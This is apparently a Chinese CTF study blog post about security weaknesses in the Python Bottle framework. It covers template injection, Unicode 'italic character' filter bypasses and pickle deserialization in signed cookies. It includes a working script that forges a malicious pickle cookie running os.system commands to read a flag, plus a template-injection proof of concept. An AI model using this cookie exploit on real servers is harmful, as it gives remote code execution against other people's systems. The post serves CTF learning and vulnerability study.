LOADING

首次加载会比较慢,果咩~

请打开缓存,下次打开就会很快啦

bottle框架的一些特性

#bottle框架的简介

  Bottle 是一个非常轻量级的 Python Web 框架,适合用于构建简单的 Web 应用和 RESTful API。Bottle 的最大特点之一是它的单文件设计,意味着你只需一个文件 bottle.py 即可使用整个框架,而不需要安装其他依赖。

最简示例:

# 导入本地的 bottle.py 文件
from bottle import route, run

# 定义路由及处理函数
@route('/hello')
def hello():
    return "Hello, World!"

# 启动应用
run(host='localhost', port=8080)

这样就能非常迅速的启动一个服务了。在大多语法上也和flask差不多,就不多讲了。

主要是讲三个点:

  • 框架模板的渲染机制
  • cookie处理机制
  • “斜体字”绕过的trick

#框架模板的渲染机制

这里先简要的介绍语法,之后详述机制。

默认模板语法使用语法符号为 <% %> % {{ }}

  • <% %>用来放置多行代码
  • %用来放置单行代码
  • {{ }}用来放置变量

  和其他的模板一样,如果将一些用户输入直接渲染或者waf不到位(比如NCTF的ez_dash的非预期就是没有waf %),将会引发ssti,这里不再赘叙。

本部分参考:SEKAICTF 2022 Web Writeup by eking

  首先说结论,如果用bottle的get_cookie函数来解析cooie的话,是会触发pickle的反序列化的,后果就是有空可钻了。

源码如下:

def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
        """ Return the content of a cookie. To read a `Signed Cookie`, the
            `secret` must match the one used to create the cookie (see
            :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
            cookie or wrong signature), return a default value. """
        value = self.cookies.get(key)
        if secret:
            # See BaseResponse.set_cookie for details on signed cookies.
            if value and value.startswith('!') and '?' in value:
                sig, msg = map(tob, value[1:].split('?', 1))
                hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
                if _lscmp(sig, base64.b64encode(hash)):
                    dst = pickle.loads(base64.b64decode(msg))
                    if dst and dst[0] == key:
                        return dst[1]
            return default
        return value or default

解析流程如下:

  • 首先得到cookies中的值
  • 判断是否存在secret参数,也就是检验是否存在签名密钥。若不存在,直接返回值;若存在,则开始下一步
  • 检验格式:以!开头并且其中包含?的cookie值才有效,否则直接返回deflaut。
  • 将值拆分为签名sig和消息msg并使用secretmsg进行HMAC哈希计算(算法由digestmod指定,默认SHA256)。再使用_lscmp对比生成的哈希与Cookie中的签名,验证签名是否有效。
  • 然后问题来了,如果验证通过,则直接对msg进行Base64解码并用pickle反序列化数据。不论后面如何,只要能到这一步,就能干些坏事了。

这时候就该掏出XYCTF的题目来玩玩看了。给了源码:

# -*- encoding: utf-8 -*-
'''
@File    :   main.py
@Time    :   2025/03/28 22:20:49
@Author  :   LamentXU 
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
    secret = f.read()

app = Bottle()
@route('/')
def index():
    return '''HI'''
@route('/download')
def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"
run(host='0.0.0.0', port=8080, debug=False)

可以发现存在一个secret.txt文件,但是有点小小的waf,这个waf非常好绕,详见以下复现:

这样就可以拿到密钥,也就可以继续接下来的pickle反序列化利用了。下面用了eking学长的板子:

# cookie.py
from bottle import route, run,response
import os


secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"

class exp():
    def __reduce__(self):
        cmd = "ls"
        return (os.system, (cmd,))


@route("/sign")
def index():
    try:
        session = exp()
        response.set_cookie("name", session, secret=secret)
        return "success"
    except:
        return "pls no hax"


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8081)

访问本地8081端口就能拿到恶意制造的cookies。先尝试一个calc(windows上起服务):

再尝试将flag中的内容转录自可以访问到的名称:

cmd = "cat flag* > flag"
# 方便起见,把flag放在了以上路径,在根目录时同理

在复现时的一个要注意的地方:

在复现的时候发现linux起的服务会一直error,但是windows就不会。为了搞清楚问题所在,把main.py的try去掉使之报错,会报“No moudle named “nt”,众所周知nt是只有在windows中有的py库,那就很神奇了,bottle也没有调用,main也没有调用,怎么回事呢?

其实是因为得到恶意cookie需要起服务来拿cookie,而我是在win上起的,导致生成的cookie和linux上起服务是不一样的(大概python对于两个系统有做差分)。只要在linux上起cookie服务就能解决这个问题。或者考虑直接生成cookie而非利用服务来间接拿到cookie,前提是知道cookie生成的原理。

#“斜体字”绕过的trick

本部分参考:聊聊bottle框架中由斜体字引发的模板注入(SSTI)waf bypass

#什么是斜体字?

  这里的斜体字指的是“一个字符的斜体字符集”,主要指的是Decomposition后为同一个字符的字符集。即https://www.compart.com/en/unicode中,假设我们输入`a`,可以看到:

  而在bottle框架里,这些斜体字也会直接被识别为其对应的原字符,下面给出一个POC:

# -*- encoding: utf-8 -*-
'''
@File    :   app.py
@Time    :   2025/03/29 15:52:17
@Author  :   LamentXU 
'''
import bottle
@bottle.route('/')
def index():
    return 'Hello, World!'
@bottle.route('/attack')
def attack():
    payload = bottle.request.query.get('payload')
    print(payload)
    return bottle.template('hello '+payload)
    else:
        bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
    bottle.run(host='0.0.0.0', port=5000)

来做个简单的测试:

  可见,bottle的模板渲染会直接把%aa当成a,而且可以直接当成普通的a使用。那么为何能如此渲染?

#原理解析

  为什么斜体字没有被转换为其他字符,就可以被正常的运行呢?这就要聊到python的机制了。假如直接exec()任意code的话,python会把code中当作代码处理的斜体字根据Decomposition转成对应的ASCII字符(当作字符串处理的除外,它们仍会是原本的斜体字)。

#bottle的渲染机制

  而传入模板中的斜体字能被渲染对应的非斜体字的前提是没有被处理为其他字符或者非法字符。研究源码的时候到了,来看看bottle的template方法怎么写的:

def template(*args, **kwargs):
    """
    Get a rendered template as a string iterator.
    You can use a name, a filename or a template string as first parameter.
    Template rendering arguments can be passed as dictionaries
    or directly (as keyword arguments).
    """
    tpl = args[0] if args else None
    for dictarg in args[1:]:
        kwargs.update(dictarg)
    adapter = kwargs.pop('template_adapter', SimpleTemplate)
    lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
    tplid = (id(lookup), tpl)
    if tplid not in TEMPLATES or DEBUG:
        settings = kwargs.pop('template_settings', {})
        if isinstance(tpl, adapter):
            TEMPLATES[tplid] = tpl
            if settings: TEMPLATES[tplid].prepare(**settings)
        elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
            TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
        else:
            TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
    if not TEMPLATES[tplid]:
        abort(500, 'Template (%s) not found' % tpl)
    return TEMPLATES[tplid].render(kwargs)

  当bottle在渲染模板时会先将标识符({,%,$)识别出来之后做一些整理(prepare之类),随后丢给SimpleTemplate类。使用render()作为渲染的入口函数:

def render(self, *args, **kwargs):
     """ Render the template using keyword arguments as local variables. """
     env = {}
     stdout = []
     for dictarg in args:
         env.update(dictarg)
     env.update(kwargs)
     self.execute(stdout, env)
     return ''.join(stdout)

  将输入的变量update到env后,将env,stdout作为参数投入execute运行。接着看看execute怎么写的:

def execute(self, _stdout, kwargs):
     env = self.defaults.copy()
     env.update(kwargs)
     env.update({
         '_stdout': _stdout,
         '_printlist': _stdout.extend,
         'include': functools.partial(self._include, env),
         'rebase': functools.partial(self._rebase, env),
         '_rebase': None,
         '_str': self._str,
         '_escape': self._escape,
         'get': env.get,
         'setdefault': env.setdefault,
         'defined': env.__contains__
     })
     exec(self.co, env)
     if env.get('_rebase'):
         subtpl, rargs = env.pop('_rebase')
         rargs['base'] = ''.join(_stdout)  #copy stdout
         del _stdout[:]  # clear stdout
         return self._include(env, subtpl, **rargs)
     return env

  这段代码先将kwargs(这里就是原来传入的env)更新到内部的env变量,再设定了一堆属性,最后然后将其作为全局命名空间执行self.co。这个self.co实质上是通过compile()函数编译而成的代码字节对象,可以通过exec直接执行,在这里它是这样实现的:

@cached_property
def co(self):
    return compile(self.code, self.filename or '<string>', 'exec')

  编译了self.code,我们接着跟进:

@cached_property
def code(self):
    source = self.source  # 尝试获取已缓存的模板内容
    if not source:        # 如果没有预先加载的模板内容
        with open(self.filename, 'rb') as f:  # 以二进制模式打开模板文件
            source = f.read()  # 读取原始字节内容
    try:
        source, encoding = touni(source), 'utf8'  # 尝试转换为Unicode
    except UnicodeError:
        raise depr(0, 11, 'Unsupported template encodings.', 'Use utf-8 for templates.')
    parser = StplParser(          # 创建模板语法解析器
    source,                   # 统一后的Unicode文本
    encoding=encoding,        # 编码标记(固定为utf8)
    syntax=self.syntax        # 可选的语法变体设置
    )
    code = parser.translate()     # 生成可执行的Python代码
    self.encoding = parser.encoding  # 保存实际检测到的编码
    return code

  从这里不难看出source大概就是我们所输入到template函数中的内容了,他会首先尝试获取缓存的模板,若没有就会尝试将source视作文件来寻找模板。我们也可以在这里放一个print来看看到底是不是,这里就不演示了,原博主那里是有演示的。

这里还有个touni对source做了处理,来看看它是干什么的:

def touni(s, enc='utf8', err='strict'):
    if isinstance(s, bytes):
        return s.decode(enc, err)
    return unicode("" if s is None else s)

  即如果source是字节类型则对其解码,如果不是,则将source变为unicode类型,这里的unicode类型其实就是str:

unicode = str

  好,这边就没什么东西了。回到code的定义,之后将source作为参数传给StplParser进行实例化,StplParser是bottle的模板语法解释器,同时规定了编码形式。然后调用translate方法来将字符串转化为代码形式,来看看它的实现:

def translate(self):
    if self.offset: raise RuntimeError('Parser is a one time instance.')
    while True:
        m = self.re_split.search(self.source, pos=self.offset)
        if m:
            text = self.source[self.offset:m.start()]
            self.text_buffer.append(text)
            self.offset = m.end()
            if m.group(1):  # Escape syntax
                line, sep, _ = self.source[self.offset:].partition('\n')
                self.text_buffer.append(self.source[m.start():m.start(1)] +
                                        m.group(2) + line + sep)
                self.offset += len(line + sep)
                continue
            self.flush_text()
            self.offset += self.read_code(self.source[self.offset:],
                                          multiline=bool(m.group(4)))
        else:
            break
    self.text_buffer.append(self.source[self.offset:])
    self.flush_text()
    return ''.join(self.code_buffer)

  这里关注self.flush_text()

def flush_text(self):
    text = ''.join(self.text_buffer)
    del self.text_buffer[:]
    if not text: return
    parts, pos, nl = [], 0, '\\\n' + '  ' * self.indent
    for m in self.re_inl.finditer(text):
        prefix, pos = text[pos:m.start()], m.end()
        if prefix:
            parts.append(nl.join(map(repr, prefix.splitlines(True))))
        if prefix.endswith('\n'): parts[-1] += nl
        parts.append(self.process_inline(m.group(1).strip()))
    if pos < len(text):
        prefix = text[pos:]
        lines = prefix.splitlines(True)
        if lines[-1].endswith('\\\\\n'): lines[-1] = lines[-1][:-3]
        elif lines[-1].endswith('\\\\\r\n'): lines[-1] = lines[-1][:-4]
        parts.append(nl.join(map(repr, lines)))
    code = '_printlist((%s,))' % ', '.join(parts)
    self.lineno += code.count('\n') + 1
    self.write_code(code)

  他会把我们的代码块规范化了一下。并调用了一些exec全局空间里的内置函数(比如_printlist)假设我们的模板是hello {{hello world}},经过translate()后变为:

_printlist(('hello ', _escape(hello world),))

这个_printlist就是在exec执行的全局空间里的打印函数。我们回顾一下:

env.update({
    '_stdout': _stdout,
    '_printlist': _stdout.extend,
    'include': functools.partial(self._include, env),
    'rebase': functools.partial(self._rebase, env),
    '_rebase': None,
    '_str': self._str,
    '_escape': self._escape,
    'get': env.get,
    'setdefault': env.setdefault,
    'defined': env.__contains__
})

  可以看到'_printlist': _stdout.extend,,好的,我们了解了translate()的大致用途了。我们接下来来看flush_text(),存在如下代码:

parts.append(self.process_inline(m.group(1).strip()))

每一行模板都会经过一次self.process_inline(),跟进:

@staticmethod
def process_inline(chunk):
    if chunk[0] == '!': return '_str(%s)' % chunk[1:]
    return '_escape(%s)' % chunk

  终于,出现了与转码有关的_escape函数。我们对照刚才回顾的exec执行的全局空间。我们看到:'_escape': self._escape,。我们去找SimpleTemplate类的self._escape看看。还记得每一次进入SimpleTemplate都有一次初始化吗,就是prepare函数这些,我们来看:

def prepare(self,
            escape_func=html_escape,
            noescape=False,
            syntax=None, **ka):
    self.cache = {}
    enc = self.encoding
    self._str = lambda x: touni(x, enc)
    self._escape = lambda x: escape_func(touni(x, enc))
    self.syntax = syntax
    if noescape:
        self._str, self._escape = self._escape, self._str

  可以看到初始化了self._escape = lambda x: escape_func(touni(x, enc))

,来看escape_func()

escape_func=html_escape,

  看定义在全局空间的html_escape()

def html_escape(string):
    """ Escape HTML special characters ``&<>`` and quotes ``'"``. """
    return string.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;')\
                 .replace('"', '&quot;').replace("'", '&#039;')

将一些可能在XSS用到的字符进行转码,就是一个防止XSS的HTML编码函数。

  至此我们得出结论:我们的输入,不论在不在{{}}里,经过唯一的编码检查就是对source的touni(),但是由于全局变量中的unicode在python3下是全体str,这就导致了我们可以输入斜体字符,它们仍然会被当作其对应的非斜体字符处理。

#利用限制

  由于这些斜体字没法直接以原文的形式进行网络传输,所以在传输的时候是必定要进行url编码的。

刚开始看到这篇文章时想的是,用burp或者apifox直接发明文能否解决这个问题呢?事实上也是不行的,因为传过去解析的时候由于没有编码会直接乱码(

  所以现在能这么利用的也就只有a可以用%aa来代替,o可以用%ba来代替,使用范围比较狭窄。当然,如果可以通过上传文件等形式上传pl的话,就完全没有这个问题了。